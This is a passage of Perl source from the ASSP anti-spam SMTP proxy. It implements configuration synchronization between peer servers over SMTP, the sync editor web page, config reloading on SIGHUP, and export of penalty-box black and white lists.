    if (&syncLoadConfigFile()) {
        return '';
    } else {
        return "<span class=\"positive\">updated - but sync-config-file was still not loaded - sync config is still incomplete</span>";
    }
}

sub ConfigChangeSyncFile {my ($name, $old, $new, $init)=@_;
    my $tnew=checkOptionList($new,'syncConfigFile',$init) if $WorkerNumber == 0 or $WorkerNumber == 10000;
    return '<span class="negative"></span>' if $WorkerNumber != 0;
    $Config{$name} = $new;
    ${$name} = $new;
    mlog(0,"AdminUpdate: $name changed from $old to $new")  unless $init || $new eq $old;
    $NextSyncConfig = time - 1;
    if (&syncLoadConfigFile()) {
        return '';
    } else {
        return "<span class=\"positive\">updated - but sync-config-file was still not loaded - sync config is still incomplete</span>";
    }
}

sub ConfigChangeSync {my ($name, $old, $new, $init)=@_;
    return '' if $new eq $old && ! $init;
    return '<span class="negative"></span>' if $WorkerNumber != 0;
    $Config{$name} = $new;
    ${$name} = $new;
    return '' if $init;
    my $text = ($name eq 'syncCFGPass') ? '' : "from '$old' to '$new'";
    mlog(0,"AdminUpdate: $name changed $text") unless $init || $new eq $old;
    if (&syncLoadConfigFile()) {
        return '';
    } else {
        return "<span class=\"positive\">updated - but sync-config-file was still not loaded - sync config is still incomplete</span>";
    }
}

sub ConfigChangeEnableCFGSync {my ($name, $old, $new, $init)=@_;
    return '<span class="negative"></span>' if $WorkerNumber != 0;
    return if $AsASecondary;
    my $failed;
    if ($new) {
        unless ($isShareMaster or $isShareSlave) {
            $new = $old = '';
            $enableCFGShare = $new;
            $Config{enableCFGShare} = $new;
            $failed .= "<span class=\"negative\">any of isShareMaster or isShareSlave must be selected first</span><br />";
        }
        unless ($syncConfigFile) {
            $new = $old = '';
            $enableCFGShare = $new;
            $Config{enableCFGShare} = $new;
            $failed .= "<span class=\"negative\">syncConfigFile must be configured first</span><br />";
        }
        unless ($syncServer) {
            $new = $old = '';
            $enableCFGShare = $new;
            $Config{enableCFGShare} = $new;
            $failed .= "<span class=\"negative\">at least one default syncServer must be configured first</span><br />";
        }
        unless ($syncCFGPass) {
            $new = $old = '';
            $enableCFGShare = $new;
            $Config{enableCFGShare} = $new;
            $failed .= "<span class=\"negative\">a password in syncCFGPass must be configured first</span><br />";
        }
        return $failed if $failed;
    }
    mlog(0,"AdminUpdate: $name changed from '$old' to '$new'") unless $init || $new eq $old;

    $enableCFGShare = $new;
    $Config{enableCFGShare} = $new;
    
    return '<span class="positive">config synchronization is now activated</span>' if $new;
    return '<span class="positive">config synchronization is now deactivated</span>';
}

sub syncGetStatus {
    my $name = shift;

    return $ConfigSync{$name}->{sync_cfg} if ($ConfigSync{$name}->{sync_cfg} < 1);
	my $syncservers = $ConfigSyncServer{$name};
    my $res = 0;
    foreach my $syncserver ( split( ",", $syncservers ) ) {

    	my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
    
        if ($v == 1) {
            $res = $v;
            last;
        } elsif ($v >= 2) {
            $v = 2;
        }
        $res |= $v;
    }
    return $res;
}

sub syncedit {
    my $name = $qs{cfgparm};

    return 'incomplete request' unless $name;
    return 'synchronization not allowed for ' . $name if exists $neverShareCFG{$name};
    my %sync_server;
    my @syncServer = (split(/\|/o,$syncServer));
    my %syncMode = (0 => 'no sync', 1 => 'out of sync', 2 => 'in sync', 3 => 'as slave', '' => 'remove');
    my $msg;
    my ($fn) = $syncConfigFile =~ /^ *file:(.+)$/io;
    while (my ($k,$v) = each %qs) {
        next if $k !~ /^sync_server(\d+)/o;
        $v =~ s/\s//go;
        next unless $v;
        $sync_server{$v} = $qs{'val'.$1} if $qs{'val'.$1} ne '';
    }
    my $enable_sync = $qs{enable} ? 1 : 0;
    if ($qs{theButton}){
        $ConfigSync{$name}->{sync_cfg} = $enable_sync;
        $ConfigSyncServer{$name} = {};
        my $i = 0;
        while (my ($k,$v) = each %sync_server) {
            $ConfigSyncServer{$name}="$k=$v"  if $i == 0;
            $ConfigSyncServer{$name}=",$k=$v" if $i > 0;
            $i++;
        }
        
        unless ($i) {
            $ConfigSync{$name}->{sync_cfg} = 0;
            $msg .= "<hr>no sync peer defined for $name - synchronization is now disabled for $name<hr>\n";
        }
        if (&syncWriteConfig()) {
            $msg .= "<hr><span class=\"positive\">successfully saved changes to file $fn</span><hr>\n";
            $NextSyncConfig = time - 1;
        }
    }
	my $syncservers = $ConfigSyncServer{$name};

    my $checked = $ConfigSync{$name}->{sync_cfg} ? 'checked="checked"' : '';
    $msg .= "<hr>resulting line in file $fn:<br /><br />$name:=$ConfigSync{$name}->{sync_cfg}";
    foreach my $syncserver ( split( ",", $syncservers ) ) {
    	my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
        $msg .= ",$k=$v";
    }
    $msg .= '<br /><hr>';
    
    my $s = '<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH="100%" >';
    $s .= '<tr><td>enable/disable synchronization for '.$name.' : ';
    $s .= "<input type=\"checkbox\" name=\"enable\" value=\"1\" $checked /></td></tr></table><hr>\n";
    $s .= '<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH="100%" >'."\n";
    my $i = 0;
    foreach my $k (@syncServer) {
        $i++;

        $s .= "<tr><td>&nbsp;&nbsp;peer : ";
        $s .= "<span style=\"z-Index:100;\"><select size=\"1\" name=\"sync_server$i\">\n";
        my $sel = '';
        $sel = "selected=\"selected\"" if $syncservers =~ /$k/;
        $s .= "<option $sel value=\"$k\">$k</option>";
        $s .= "</select></span></td>\n";

        $s .= "<td>&nbsp;&nbsp;mode/status : ";
        $s .= "<span style=\"z-Index:100;\"><select size=\"1\" name=\"val$i\">\n";
        my ($kserver,$vstatus);
        foreach my $syncserver ( split( ",", $syncservers ) ) {
    		($kserver,$vstatus) = split(/\s*\=\s*/o,$syncserver);
			last if $kserver eq $k;
    	}

        for (0..3,'') {
            my $sel = '';
            $sel = "selected=\"selected\"" if $vstatus == $_;
            my $s1 = ($_ ne '') ? "($_)" : '';
            $s .= "<option $sel value=\"$_\">$syncMode{$_} $s1</option>\n";
        }
        $s .= "</select></span></td></tr>";
    }
    $s .= '</table>'."\n<hr>\n";
    $s .= '<input type="hidden" name="cfgparm" value="'.$name.'" />';
    $s .= '<input type="submit" name="theButton" value="Save Changes" />&nbsp;&nbsp;';
    $s .= '<input type="button" value="Close" onclick="javascript:window.close();"/>';
    $s .= $msg;
return <<EOT;
$headerHTTP

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" />
  <title>$currentPage ASSP SyncConfig ($myName - $name)</title>
  <link rel=\"stylesheet\" href=\"get?file=images/editor.css\" type=\"text/css\" />
</head>
<body onmouseover="this.focus();" >
    <div class="content">
      <form action="" method="post">
        $s
      </form>
    </div>
</body>
</html>

EOT
}

sub syncShowGUI {
    my $name = shift;
    return '' unless &syncCanSync();
#    d('syncShowGUI');


    if ($ConfigSync{$name}->{sync_cfg} == -1) {
        return '';
    } elsif ($ConfigSyncServer{$name} == 0) {

        return $syncShowGUIDetails
          ? '&nbsp;&nbsp;<a href="javascript:void(0);" onclick="javascript:popSyncEditor(\''.$name.'\');" >(shareable)</a>'
          : '<a href="javascript:void(0);" onclick="javascript:popSyncEditor(\''.$name.'\');" onmouseover="showhint(\'<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\\'100%\\\'><tr><td>&nbsp;&nbsp;shareable</td></tr></table>\', this, event, \'90px\', \'1\'); return true;"><b><font color=\'black\'>&nbsp;&nbsp;&bull;</font></b></a>';
    } else {
        my $stat = &syncGetStatus($name);
        return '' if $stat == -1;
        return ($syncShowGUIDetails
          ? '&nbsp;&nbsp;<a href="javascript:void(0);" onclick="javascript:popSyncEditor(\''.$name.'\');" >(shareable)</a>'
          : '<a href="javascript:void(0);" onclick="javascript:popSyncEditor(\''.$name.'\');" onmouseover="showhint(\'<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\\'100%\\\'><tr><td>&nbsp;&nbsp;shareable</td></tr></table>\', this, event, \'90px\', \'1\'); return true;"><b><font color=\'black\'>&nbsp;&nbsp;&bull;</font></b></a>') if $stat == 0;
        my $ret = '&nbsp;&nbsp;(<span class="negative">shared: </span>';
        $ret = '&nbsp;&nbsp;(<span class="positive">shared: </span>' if ($stat == 2);
        my $shared = 0;
        my $syncservers = $ConfigSyncServer{$name};
        foreach my $syncserver ( split( ",", $syncservers ) ) {
        	my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
        
            $k =~ s/:.+$//o;
            if ($v == 0) {
                $ret .= "$k not shared, ";
            } elsif ($v == 1) {
                $ret .= "<span class=\"negative\">$k out of sync, </span>";
                $shared = 1;
            } elsif ($v == 2 or $v == 4) {
                $ret .= "<span class=\"positive\">$k in sync, </span>";
                $shared = 1;
            } elsif ($v == 3) {
                $ret .= "<span class=\"positive\">$k local slave mode, </span>";
                $shared = 1;
            }
        }
        $ret .= ')';
        $ret =~ s/(sync|mode), ([^\)]+?\))$/$1$2/o;
        if ($syncShowGUIDetails) {
            return '<a href="javascript:void(0);" onclick="javascript:popSyncEditor(\''.$name.'\');">'.$ret.'</a>';
        }
        my $color = ($ret =~ /negative/o) ? 'red' : 'green';
        $color = 'black' unless $shared;
        $ret =~ s/"/\\'/go;
        $ret =~ s/\(|\)//go;
        $ret =~ s/, /\<br \/\>/go;
        $ret =~ s/: /:\<hr\>/go;
        return '<a href="javascript:void(0);" onclick="javascript:popSyncEditor(\''.$name.'\');" onmouseover="showhint(\'<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\\'100%\\\'><tr><td>'.$ret.'</td></tr></table>\', this, event, \'220px\', \'1\'); return true;"><b><font color=\''. $color .'\'>&nbsp;&nbsp;&bull;</font></b></a>';
    }
}


sub syncLoadConfigFile {
	my $log = shift;
    my $RCF;
    
    %ConfigSync = ();
    %ConfigSyncServer = ();

    
    while (my ($k,$v) = each %Config) {
        $ConfigSync{$k} = {};
 
        $ConfigSync{$k}->{sync_cfg} = -1;
        $ConfigSyncServer{$k} = {};

    }
    return 0 unless &syncCanSync();
    my ($fn) = $syncConfigFile =~ /^ *file:(.+)$/io;
    return 0 unless $fn;
    open($RCF,"<$base/$fn") or return 0;
    d('syncLoadConfigFile');
    mlog(0,"loading config synchronization configuration file '$fn'") if $MaintenanceLog == 2 && $log;
    while (<$RCF>) {
        s/\r|\n//go;
        s/[#;].*//o;
        my ($k,$v) = split(/:=/o,$_,2);
        next unless $k;
        next if exists $neverShareCFG{$k};
        next unless exists $Config{$k};
        my @scfg = split(/\s*,\s*/o,$v);
        $ConfigSync{$k}->{sync_cfg} = shift @scfg || 0;
        if (! @scfg) {
            foreach my $se (split(/\|/o,$syncServer)) {
                push @scfg , "$se=1" if $ConfigSync{$k}->{sync_cfg};
            }
        }
        my $x=0;
        my $t;
        while (my $se = shift @scfg) {
            my ($server,$status) = split(/\s*\=\s*/o,$se);
            next unless $server;

            $status = 3 if (! $isShareMaster && $isShareSlave);
 
			$t = "$server=$status" 		if $x==0;
			$t .= ",$server=$status" 	if $x>0;
            $x++;
        }
        $ConfigSyncServer{$k} = "$t";
        
    }
    close $RCF;
    &syncWriteConfig();
    return 1;
}

sub syncWriteConfig {
    my $new;
    my $newST;
    return 0 unless &syncCanSync();
    my ($fn) = $syncConfigFile =~ /^ *file:(.+)$/io;
    return 0 unless $fn;
    open(my $RCF,">$base/$fn.new") or return 0;
    open(my $RCFST,">$base/files/sync_failed.txt");
    d('syncWriteConfig');
    binmode $RCF;
    binmode $RCFST;
    foreach my $c (@ConfigArray) {
        next if (! $c->[0] or @$c == 5);
        next if $ConfigSync{$c->[0]}->{sync_cfg} == -1;
        next if exists $neverShareCFG{$c->[0]};
        my $st;
        my $data = $c->[0] . ':=' . $ConfigSync{$c->[0]}->{sync_cfg};
        
        if ( $ConfigSync{$c->[0]}->{sync_cfg} > 0 ) {
        	my $syncservers = $ConfigSyncServer{$c->[0]};
        		foreach my $syncserver ( split( ",", $syncservers ) ) {
    			my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
    			$data .= ",$k=$v";
    			$st = 1 if $v == 1;
		 	}
		}
		
        $new .= "$data\n";
        $newST .= "$data\n" if $st;
    }
    print $RCF $new;
    if ($newST) {
        print $RCFST '# ' , &timestring() , ' The following configuration values are still out of sync:',"\n\n";
        print $RCFST $newST;
    } else {
        print $RCFST '# ' , &timestring() , ' All configuration values are still synchronized.';
    }
    close $RCF;
    close $RCFST;
    if (open $RCF,"<$base/$fn.bak") {
        binmode $RCF;
        my $bak = join('',<$RCF>);
        close $RCF;
        $new =~ s/\r|\n//go;
        $bak =~ s/\r|\n//go;
        if ($new eq $bak) {
            unlink "$base/$fn.new";
            return 1;
        }
    }
    unlink "$base/$fn.bak.bak.bak";
    rename "$base/$fn.bak.bak","$base/$fn.bak.bak.bak";
    rename "$base/$fn.bak","$base/$fn.bak.bak";
    rename "$base/$fn","$base/$fn.bak";
    rename "$base/$fn.new","$base/$fn";
    mlog(0,"syncCFG: saved sync configuration to $base/$fn") if $MaintenanceLog >= 2;
    $FileUpdate{"$base/$fn".'syncConfigFile'} = [stat("$base/$fn")]->[9];
    return 1;
}

sub syncConfigDetect {
    my $name = shift;


    
    return if $syncUser eq 'sync';
    return unless (&syncCanSync() && $enableCFGShare && $isShareMaster && $CanUseNetSMTP);
    return if exists $neverShareCFG{$name};
    return unless exists $Config{$name};
    return if $ConfigSync{$name}->{sync_cfg} < 1;
    my $stat = &syncGetStatus($name);
    return if $stat < 1;
    d("syncConfigDetect $name");
    my $syncservers = $ConfigSyncServer{$name};

    my $r = 0;
    foreach my $syncserver ( split( ",", $syncservers ) ) {
    	my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
        next if $v < 1;
        next if $v == 3;
        $r |= $v;
    }
    return unless $r;
    if ($r == 4) {
        foreach my $syncserver ( split( ",", $syncservers ) ) {
    		my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
    		$syncservers=~s/$k=4/$k=2/g;
 
        }
        $ConfigSyncServer{$name} = $syncservers;
        &syncWriteConfig();
        return;
    }
    mlog(0,"syncCFG: start synchronization of $name") if $MaintenanceLog;
    &syncConfigSend($name);
}

sub syncConfigSend {
    my $name = shift;
# ConfigName.sprintf("%.3f",(Time::HiRes::time())).ip|host.cfg
# first line plain var name\r\n  rest Base64 \r\n.\r\n
# varname:=value\r\n
# file start (.+)$
# file eof\s*$

    return 0 unless (&syncCanSync() && $enableCFGShare && $CanUseNetSMTP);
    return 0 unless $isShareMaster;
    return 0 if exists $neverShareCFG{$name};
    return 0 unless exists $Config{$name};
    return 0 if $ConfigSync{$name}->{sync_cfg} < 1;
    my $syncservers = $ConfigSyncServer{$name};
    my ($k,$v);
    my $r = 0;
    foreach my $syncserver ( split( ",", $syncservers ) ) {
    	my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
        next if $v < 1;
        next if $v == 3;
        $r |= $v;
    }
    return 0 unless $r;
    if ($r == 4) {
        foreach my $syncserver ( split( ",", $syncservers ) ) {
    		my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
    		
            $syncservers=~s/$k=4/$k=2/g; 
        }
        $ConfigSyncServer{$name} = $syncservers;
        &syncWriteConfig();
        return 0;
    }
    d("syncConfigSend $name");
    mlog(0,"syncCFG: request to synchronize $name") if $MaintenanceLog;
    my $body = "$name\r\n";
    $body .= MIME::Base64::encode_base64("$name:=" . ${$name},'') . "\r\n";
    my $fil;
    foreach my $f (@PossibleOptionFiles) {
        if ($name eq $f->[0] && $Config{$f->[0]} =~ /^ *file: *(.+)/io) {
           my $ffil = $fil = $1;
           $ffil="$base/$ffil" if $ffil!~/^\Q$base\E/io;
           if (defined ${$name.'RE'} && ${$name.'RE'} =~ /^$neverMatchRE$/o && -s $ffil) {
              mlog(0,"syncCFG: warning - the file '$fil' is not empty, but the running regex for $name is a never matching regex (used for empty files) - the sync request will be ignored, because it seems that the file contains an invalid regex");
              my $syncservers = $ConfigSyncServer{$name};
              foreach my $syncserver ( split( ",", $syncservers ) ) {
              	  my ($k,$v) = split(/\s*\=\s*/o,$syncserver);
                  next if $v < 1;
                  next if $v == 3;
                  if ($v == 4) {
					  $syncservers=~s/$k=4/$k=2/g;
  
                      next;
                  }
                  
                  if ($v == 1) {
                      $syncservers=~s/$k=1/$k=2/g;
                      next;
                  }
                  
              }
              $ConfigSyncServer{$name}=$syncservers;
              return 0;
           }
           if (($body .= &syncGetFile($fil)) && scalar keys %{$FileIncUpdate{"$ffil$name"}}) {
               foreach (keys %{$FileIncUpdate{"$ffil$name"}}) {
                   $body .= &syncGetFile($_);
               }
           }
           last;
        }
    }
    # send to  %{$syncserver}

    my $failed = 1;
    foreach my $syncserver ( split( ",", $syncservers ) ) {
    	my ($MTA,$v) = split(/\s*\=\s*/o,$syncserver);
    
        next if $v < 1;
        next if $v == 3;
        if ($v == 4) {

			$syncservers=~s/$MTA=4/$MTA=2/g;
			$ConfigSyncServer{$name}=$syncservers;
            next;
        }
        my $smtp;
      eval {
        $smtp = Net::SMTP->new(
            $MTA,
            Hello   => $myName,
            Debug => $debug,
            Timeout => 5
        );
        if ($smtp &&
            $smtp->command('ASSPSYNCCONFIG ' , ' ' . Digest::MD5::md5_base64($syncCFGPass))->response() == 2 &&
            $smtp->data() &&
            $smtp->rawdatasend( $body ) &&
            $smtp->dataend() &&
            $smtp->quit
            )
        {
            mlog(0,"syncCFG: successfully sent config for $name to $MTA") if $MaintenanceLog;

            $syncservers=~s/$MTA=1/$MTA=2/g;
            $failed = 0;
        } else {
            my $text;
            eval{$text = $smtp ? ' - ' . $smtp->message() : '';};
            mlog(0,"syncCFG: unable to send config for $name to $MTA$text");
  
        }
      } unless $syncTestMode; # end eval
        if ($@) {
            mlog(0,"syncCFG: error - unable to send config for $name to $MTA - $@");

        }
        if ($syncTestMode) {
            mlog(0,"syncCFG: [testmode] successfully sent config for $name to $MTA") if $MaintenanceLog;
            $syncservers=~s/$MTA=1/$MTA=2/g;
            $failed = 0;
        }
    }
    $ConfigSyncServer{$name}=$syncservers;
    &syncWriteConfig();
    return $failed;
}

sub syncGetFile {
    d('syncGetFile');
    my $file = shift;
    my $ffil = $file;
    $ffil="$base/$ffil" if $ffil!~/^\Q$base\E/o;
    my $body;
    
    if (open my $FH, $ffil) {
        binmode $FH;
        $body  = MIME::Base64::encode_base64("# file start $file\r\n",'')."\r\n";
        $body .= MIME::Base64::encode_base64(join('',<$FH>),'') . "\r\n";
        close $FH;
        $body .= MIME::Base64::encode_base64("# file eof\r\n",'')."\r\n";
    }
    return $body;
}

sub syncSortCFGRec {
   my ($ga) = $main::a =~ /\Q$base\E\/configSync\/([^\.]+)/o;
   my ($gb) = $main::b =~ /\Q$base\E\/configSync\/([^\.]+)/o;
   if ($ConfigNum{$ga} < $ConfigNum{$gb}) { -1; }
   elsif ($ConfigNum{$ga} == $ConfigNum{$gb}) { 0; }
   else { 1; }
}

sub syncConfigReceived {
    my $file = shift;
    $file =~ s/\\/\//go;
     # ConfigName.sprintf("%.3f",(Time::HiRes::time())).ip|host.cfg
    my ($name,$ip) = $file =~ /\/([^\/\.]+?)\.\d{10}\.\d{3}\.($HostRe)\.cfg$/o;

    return if $WorkerNumber > 0;
    unless ($name) {unlink $file; return;}
    unless ($ip) {unlink $file; return;}
    unless (&syncCanSync()) {unlink $file; return;}
    unless ($enableCFGShare) {unlink $file; return;}
    unless ($isShareSlave) {unlink $file; return;}
    if (exists $neverShareCFG{$name}) {unlink $file; return;}
    unless (exists $Config{$name}) {unlink $file; return;}
    my $FH;
    (-w $file && open $FH, "<$file")  or return;
    d("syncConfigReceived $file $name $ip");

    my ($line,$var,$val,@cfg,$File,$FileCont);
    my $FileWritten = 0;

    while ($line = (<$FH>)) {
        $line =~ s/\r|\n//go;
        next unless $line;
        push @cfg , MIME::Base64::decode_base64($line);
    }
    close $FH;
    while (@cfg) {
        $line = shift @cfg;
        $line =~ s/(\r?\n)$//o;
        next if (! $line && ! $File);
        if ($line =~ /^\s*([a-zA-Z0-9_-]+)\:\=(.*)$/o) {
            ($var,$val) = ($1,$2);
            if ($var ne $name) {
                last;
            }
            next;
        }
        next unless $var;
        if ($line =~ /^\s*# file start (.+)$/o) {   # file start
            $File = "$base/$1";
            $File .= '.synctest' if $syncTestMode;
            next;
        }
        if ($File && $line =~ /^\s*# file eof\s*$/o) {   # file eof
            my $currFileCont;
            if (-e $File) {
                if (open my $FileH , "<$File") {
                    binmode $FileH;
                    $currFileCont = join('',<$FileH>);
                    close $FileH;
                }
            }
            if ($currFileCont ne $FileCont && open my $FileH , ">$File") {
                binmode $FileH;
                print $FileH $FileCont;
                close $FileH;
                my $text = $syncTestMode ? '[testmode] ' : '' ;
                mlog(0,"syncCFG: $text" . "wrote file $File for $name") if $MaintenanceLog;
                $FileWritten = 1;
            }
            $File = '';
            $FileCont = '';
            next;
        }
        $FileCont .= $line if $File;
    }
    if ($var ne $name) {
        mlog(0,"syncCFG: wrong variable $var found - expected $name - ignore the sync-file");
        unlink $file;
        return;
    }

    if (${$var} ne $val or $FileWritten) {
        my $ovar = ${$var};
        foreach my $c (@ConfigArray) {
            next if (! $c->[0] or @$c == 5 or $c->[0] ne $var);
            my $oqs = $qs{$var};
            $qs{$var} = $val;
            $syncUser = 'sync';
            $syncIP = $ip;
            my $Error = checkUpdate($var,$c->[5],$c->[6],$c->[1]) unless $syncTestMode;
            mlog(0,"syncCFG: [testmode] changed $name from '$Config{$name}' to '$val'") if $syncTestMode;
            $qs{$var} = $oqs;
            $syncUser = '';
            $syncIP = '';
            delete $qs{$var} unless defined $oqs;
            if ($Error =~ /span class.+?negative/o) {
                 mlog(0,"syncCFG: wrong value ($val) for $var found in sync file from $ip") if $MaintenanceLog;
                 unlink $file;
                 return;
            }
            if (! $ConfigChanged and $FileWritten) {
                $syncUser = 'sync';
                $syncIP = $ip;
                &optionFilesReload();
                $ConfigChanged = 1 if ($val eq $ovar);
                $syncUser = '';
                $syncIP = '';
            }
        }
    }
    
    my $syncserver = $ConfigSyncServer{$name};
    my ($k,$v,$ns);
    $ns = 0;
    while ( ($k,$v) = each %{$ConfigSyncServer{$name}})  {$ns++ if $isShareMaster && ($v == 1 or $v == 2 or $v == 4);}
    while ( ($k,$v) = each %{$syncserver}) {
        my $isM = $isShareMaster && ($v == 1 or $v == 2 or $v == 4);
        my $s = $k;
        $s =~ s/\:\d+$//o;
        if ($s eq $ip && $isM) {
            $syncserver->{$k} = ($ns == 1) ? 2 : 4;
        } elsif ($isM) {
            $syncserver->{$k} = 1;
        } else {
            $syncserver->{$k} = 3;
        }
    }

    unlink $file;
}

sub syncRCVData {
    my($fh,$l)=@_;
    d('syncRCVData');
    my $this=$Con{$fh};
    if($l=~/^DATA/io) {
        $this->{lastcmd} = 'DATA';
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
        $Con{$fh}->{getline}=\&syncRCVData2;
        sendque($fh,"354 send data\r\n");
    } else {
        ($this->{lastcmd}) = $l =~ /^\s*(\S+)[\s\r\n]+/o;
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
        mlog($fh,"syncCFG: error - syncRCVData expected 'DATA' got $l");
        NoLoopSyswrite($fh,"500 sequence error - DATA expected\r\n");
        done($fh);
    }
}

sub syncRCVData2 {
    my($fh,$l)=@_;
    d('syncRCVData2');
    my $this=$Con{$fh};
    $this->{header} .= $l;
    if($this->{header} =~ /\r\n\.\r\n$/os) {
        $Con{$fh}->{getline}=\&syncRCVQuit;
        sendque($fh,"250 OK got all SYNC data\r\n");
    }
}

sub syncRCVQuit {
    my($fh,$l)=@_;
    d('syncRCVQuit');
    my $this=$Con{$fh};
    if($l=~/^QUIT/io) {
        $this->{lastcmd} = 'QUIT';
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
        my $time = sprintf("%.3f",(Time::HiRes::time()));
        my ($var) = $1 if $this->{header} =~ s/^([^\r\n]+)\r\n//os;
        &NoLoopSyswrite($fh,"221 closing transmission for SYNC $var\r\n");
        unless (defined ${$var}) {
            mlog(0,"warning: $var is no valid Configuration Parameter - ignore request");
            done($fh);
            return;
        }
        -d "$base/configSync/" or mkdir "$base/configSync", 0755;
        my $file = "$base/configSync/" . $var . '.' . $time  . '.' . $this->{syncServer} . '.cfg';
        if (open my $FH, ">$file") {
            binmode $FH;
            $this->{header} =~ s/\.[\r\n]+$//;
            print $FH $this->{header};
            close $FH;
            $syncToDo = 1;
        } else {
            mlog(0,"syncCFG: error - unable to write file $file - $!");
        }
    } else {
        ($this->{lastcmd}) = $l =~ /^\s*(\S+)[\s\r\n]+/o;
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
        mlog($fh,"syncCFG: error - syncRCVQuit expected 'QUIT' got $l");
        NoLoopSyswrite($fh,"500 sequence error after DATA - Quit expected\r\n");
    }
    done($fh);
}

sub reloadConfigFile {

    # called on SIG HUP
    d('reloadConfigFile');
    my %newConfig = ();
    mlog(0,"reloading config");
    my $RCF;
    open($RCF,"<$base/assp.cfg");
    while (<$RCF>) {
        s/\r|\n//go;
    	my ($k,$v) = split(/:=/o,$_,2);
        next unless $k;
        $newConfig{$k} = $v;
    }
    close $RCF;

    my $dec = ASSP::CRYPT->new($Config{webAdminPassword},0);


    foreach my $c (@ConfigArray) {
        my ($name,$nicename,$size,$func,$default,$valid,$onchange,$description)=@$c;
        if($Config{$name} ne $newConfig{$name}) {
            if($newConfig{$name}=~/$valid/i) {
                my $new=$1; my $info;
                if($onchange) {
                    $info=$onchange->($name,$Config{$name},$new);
                } else {
                    my $app = "from '$Config{$name}' to '$new'" unless (exists $cryptConfigVars{$name});
                    mlog(0,"AdminUpdate: reload config - $name changed $app");
                    ${$name}=$new;

# -- this sets the variable name with the same name as the config key to the new value
# -- for example $Config{myName}="ASSP-nospam" -> $myName="ASSP-nospam";
                }
                if (exists $cryptConfigVars{$name} &&
                    $new =~ /^[a-fA-F0-9]+$/o &&
                    defined $dec->DECRYPT($new)) {
                    
                    $Config{$name} = $dec->DECRYPT($new);
                    ${$name}=$Config{$name};
                } else {
                    $Config{$name}=$new;
                }

            } else {
                mlog(0,"AdminUpdate:error: invalid '$newConfig{$name}' -- not changed");
            }
        }
    }
    
    renderConfigHTML();
    $ConfigChanged = 1;
}
sub reloadConfigFileHUP {
    # called on SIG HUP
    mlog( 0, "reloading config on SIG HUP", 1 );
    reloadConfigFile();
    SaveConfig();
}

sub genGlobalPBBlack {

    return 0 if (! $pbdir);

    my $outfile = "$base/$pbdir/global/out/pbdb.black.db";
    my $tmpfile = "$base/$pbdir/global/out/pbdb.black.tmp";
    my $bakfile = "$base/$pbdir/global/out/pbdb.black.db.bak";
    $outfile =~ s/\\/\//go;
    $tmpfile =~ s/\\/\//go;
    $bakfile =~ s/\\/\//go;
    my $count = my $pbp = 0;
    my @s     = stat($outfile);
    my $t = $s[9];
    my $OUT;
    if (open $OUT, ">$tmpfile") {
    	mlog( 0, "open $tmpfile" );	
    	} else { 
    	mlog( 0, "cannot open $tmpfile" );
    	return 0;
    	}
    binmode $OUT;
    while (my ($k,$v)=each(%PBBlack)) {
        my ($ct,$ut,$pbstatus,$score,$sip,$reason)=split(' ',$v);
        my $tdifc=$t-$ct;
        my $tdifu=$t-$ut;
        $pbp++;
        &ThreadMaintMain2() if $WorkerNumber == 10000 && $pbp%1000 == 0;
        next if ($reason =~ /GLOBALPB/io);      # no global back to server
        if (exists $PBWhite{$k}) {
            delete $PBBlack{$k};
            next;                            # should not be in PBWhite
        }
        next if ($pbstatus < 5);             # must be min 3 times in local PB
        next if ($tdifu > 0);                # was already processed before
        next if ($score < 1);                # no negative Black
        print $OUT "$k\002$v\n";
        $count++;
    }
    close $OUT;

    return 1 if ($count == 0);
    
    $! = undef;
    if (-e "$bakfile") {
        unlink "$bakfile";
        if ($!) {
           mlog(0,"unable to delete file $bakfile - $!");
           return 0;
        }
    }
    $! =undef;
    rename("$outfile", "$bakfile") if (-e "$outfile");
    if ($! && -e "$outfile") {
        mlog(0,"unable to rename file $outfile to $bakfile - $!");
        return 0;
    }
    $! = undef;
    rename("$tmpfile", "$outfile");
    if ($! && -e "$tmpfile") {
        mlog(0,"unable to rename file $tmpfile to $outfile - $!");
        return 0;
    }
    mlog(0,"Info: global PBBlack with $count records created") if $MaintenanceLog;
    return 1;
}

sub genGlobalPBWhite {

    return 0 if (! $pbdir);
    my $outfile = "$base/$pbdir/global/out/pbdb.white.db";
    my $tmpfile = "$base/$pbdir/global/out/pbdb.white.tmp";
    my $bakfile = "$base/$pbdir/global/out/pbdb.white.db.bak";
    $outfile =~ s/\\/\//go;
    $tmpfile =~ s/\\/\//go;
    $bakfile =~ s/\\/\//go;
    my $count = my $pbp = 0;
    my @s     = stat($outfile);
    my $t = $s[9];
    open my $OUT, ">$tmpfile" or return 0;
    binmode $OUT;
    while (my ($k,$v)=each(%PBWhite)) {
        my ($ct,$ut,$pbstatus)=split(' ',$v);
        my $tdifc=$t-$ct;
        my $tdifu=$t-$ut;
        $pbp++;
        &ThreadMaintMain2() if $WorkerNumber == 10000 && $pbp%1000 == 0;
        next if ($pbstatus != 2);
        if (exists $PBBlack{$k}) {
            delete $PBBlack{$k};
            next;                            # should not be in PBBlack
        }
        next if ($tdifu > 0);                # was already processed before
        print $OUT "$k\002$v\n";
        $count++;
    }
    close $OUT;
    return 1 if ($count == 0);
    $! = undef;
    if (-e "$bakfile") {
        unlink "$bakfile";
        if ($!) {
           mlog(0,"unable to delete file $bakfile - $!");
           return 0;
        }
    }
    $! =undef;
    rename("$outfile", "$bakfile") if (-e "$outfile");
    if ($! && -e "$outfile") {
        mlog(0,"unable to rename file $outfile to $bakfile - $!");
